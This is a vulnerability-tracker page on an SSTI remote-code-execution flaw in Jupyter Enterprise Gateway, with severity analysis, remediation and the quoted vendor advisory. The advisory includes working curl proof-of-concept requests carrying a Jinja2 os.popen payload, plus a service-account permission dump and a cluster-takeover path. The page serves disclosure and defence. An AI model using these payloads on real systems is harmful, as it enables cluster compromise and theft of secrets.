Jupyter Enterprise Gateway CVE-2026-44181
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconReach gateway /api/kernels API
-
DeliveryPOST kernel with malicious KERNEL_POD_NAME
-
ExploitJinja2 renders template, executes OS command
-
InstallRead mounted service account token
-
C2Use RBAC to dump secrets
-
ExecuteSchedule privileged/hostPath pod
-
ImpactCompromise cluster and workloads
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
|
| Exploitation Conditions | Exploitation requires network reachability to the Enterprise Gateway REST API (the /api/kernels endpoint) and a deployment using the Kubernetes kernel launcher, since the injection occurs while rendering the Kubernetes pod manifest from KERNEL_* environment variables. The attacker must be able to submit a kernel-creation request whose env includes an attacker-controlled KERNEL_XXX value (e.g. KERNEL_POD_NAME or KERNEL_WORKING_DIR) carrying a Jinja2 expression. Per the vendor CVSS 4.0 vector (PR:N/UI:N) no authentication or user interaction is required against the configurations reflected in the PoCs, and no non-default feature toggle is needed. The principal limiting factors are: the gateway API being on an internal cluster network (PoCs use *.svc.cluster.local), any authentication/proxy placed in front of the API, and the requirement that the target run the Kubernetes process proxy; the severity of post-exploitation depends on the (broad, in the reported case) RBAC granted to the gateway service account. |
| Impact | The signals are mostly aligned toward high severity but with an important caveat on reachability. The vendor CVSS 4.0 base score is 10.0 (AV:N/AC:L/AT:N/PR:N/UI:N with VC/VI/VA:H and subsequent-system SC/SI/SA:H), reflecting network-reachable, unauthenticated, low-complexity RCE that pivots into the wider Kubernetes cluster. Publicly available exploit code exists in the advisory itself (concrete curl PoCs), which normally raises real-world risk. However, EPSS is only 0.86% (76th percentile) and the CVE is not in CISA KEV, indicating no confirmed active mass exploitation - consistent with the fact that the gateway API is typically an internal, cluster-internal service (PoCs target *.svc.cluster.local endpoints) rather than an internet-facing one. In practice the dominant limiting factor is network reachability to the gateway API and whether it is deployed with authentication; where the API is exposed to a notebook front-end or untrusted network segment, this is a top-priority patch. The CVSS PR:N assumes the API accepts unauthenticated kernel-creation requests, which matches the PoCs but should be verified against local deployment (many installs front the gateway with auth) - treat as a high priority in default/internal-trust deployments. |
| Exploit ScenarioDerived | An attacker with network access to the Enterprise Gateway API POSTs to /api/kernels with a KERNEL_POD_NAME value containing a Jinja2 payload such as 'bdawg-{{ cycler.__init__.__globals__.os.popen("hostname").read() }}', which is evaluated during manifest rendering and runs OS commands inside the gateway pod. The attacker then reads the mounted Kubernetes service account token and uses its broad RBAC to dump secrets and schedule a privileged or hostPath-mounted pod, taking over the node and cluster. Working exploit code (curl PoCs demonstrating both {{7*7}} and os.popen command execution) is published in the vendor advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Jul 16, 2026
Remote code execution in Jupyter Enterprise Gateway (fixed in v3.3.0) is possible because attacker-supplied KERNEL_XXX environment variables (e.g. KERNEL_POD_NAME, KERNEL_WORKING_DIR) sent to the /api/kernels endpoint are rendered through Jinja2 when building the Kubernetes pod manifest, enabling Server-Side Template Injection. Any client able to reach the gateway API can inject Jinja2 expressions to execute Python and OS commands inside the Enterprise Gateway pod, then steal its Kubernetes service account token to read secrets and schedule privileged/hostPath pods, escalating to full cluster compromise. Publicly available exploit code exists (working curl PoCs in the advisory); the flaw is not listed in CISA KEV and EPSS is low at 0.86%.
Earlier versions of this analysis (1)
Server-side template injection in Jupyter Enterprise Gateway versions 2.0.0rc2 through 3.2.x allows remote attackers to execute arbitrary Python code and OS commands in the Enterprise Gateway pod by injecting Jinja2 expressions into KERNEL_XXX environment variables sent via the kernel-creation API. Successful exploitation yields the gateway's Kubernetes service account token, which (per the published PoC RBAC dump) carries cluster-impacting verbs over pods, secrets, and persistent volumes - providing a realistic path to full Kubernetes cluster compromise. A working PoC is published in the GHSA advisory (GHSA-f49j-v924-fx9w); no CISA KEV listing at time of analysis.
RemediationAI
Vendor-released patch: v3.3.0 - upgrade jupyter_enterprise_gateway to 3.3.0 or later (pip install --upgrade jupyter_enterprise_gateway) per advisory GHSA-f49j-v924-fx9w (https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w) and release https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0. Until patched, restrict network access to the gateway's /api/kernels endpoint so only authenticated, trusted notebook front-ends can reach it, and enforce authentication/authorization on the gateway API (do not expose it on shared or internet-reachable networks); this may break clients that currently create kernels anonymously. As defense in depth, tighten the Enterprise Gateway Kubernetes ServiceAccount RBAC to the minimum needed and remove broad secrets/pods/rolebindings/hostPath-enabling permissions, and apply Pod Security admission to block privileged and hostPath pods in the kernel namespace - this reduces blast radius but can prevent legitimately privileged kernel workloads. If feasible, validate or reject KERNEL_* env values (especially KERNEL_POD_NAME and KERNEL_WORKING_DIR) that contain Jinja2/template characters at the ingress proxy as an interim filter.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Jupyter Enterprise Gateway is a Python service that provisions remote Jupyter kernels as Kubernetes pods on behalf of notebook clients. When launching a kubernetes kernel, the k8s process proxy (enterprise_gateway/services/processproxies/k8s.py) and the launch_kubernetes.py launcher render the kernel-pod.yaml.j2 Jinja2 template, substituting kernel_pod_name, kernel_working_dir and other kernel_xxx values that originate directly from the KERNEL_* environment variables supplied in the API request. Because these untrusted values are placed into a Jinja2 template that is fully evaluated rather than treated as literal strings, they map to CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine / SSTI). Standard Jinja2 sandbox-escape gadgets such as {{ cycler.__init__.__globals__.os.popen('...').read() }} yield arbitrary OS command execution in the gateway pod's Python process. The affected package is distributed via PyPI as jupyter_enterprise_gateway (pkg:pip/jupyter_enterprise_gateway).
Know when Kubernetes gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Unauthenticated network API request triggers template injection RCE (AV:N/AC:L/PR:N/UI:N); code executes in gateway pod but compromise extends to the Kubernetes cluster, a different security authority, so S:C with full C/I/A impact.
Primary rating from Vendor (https://github.com/jupyter-server/enterprise_gateway).
CVSS VectorVendor: https://github.com/jupyter-server/enterprise_gateway
Lifecycle Timeline
2DescriptionCVE.org
Summary
The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137
PoC
Simple demonstration of SSTI using {{7 * 7}}
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}Running kubectl get pods
NAME READY STATUS RESTARTS AGE
bdawg-49 1/1 Running 0 3m54sRemote code execution - OS Commands via SSTI
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07NAME READY STATUS RESTARTS AGE
bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25senterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]
configmaps [] [] [get watch list create delete]
namespaces [] [] [get watch list create delete]
persistentvolumeclaims [] [] [get watch list create delete]
persistentvolumes [] [] [get watch list create delete]
pods [] [] [get watch list create delete]
secrets [] [] [get watch list create delete]
services [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]Impact
This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
Executive ViewAI
Jupyter Enterprise Gateway versions prior to v3.3.0 contain a critical remote code execution vulnerability enabling unauthenticated attackers to execute arbitrary commands and compromise Kubernetes service account tokens for full cluster access. With publicly available exploit code, immediate patching is critical to prevent infrastructure-wide compromise.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
GHSA-f49j-v924-fx9w
NVD
CVE.org
EPSS
VulDB
Exploit-DB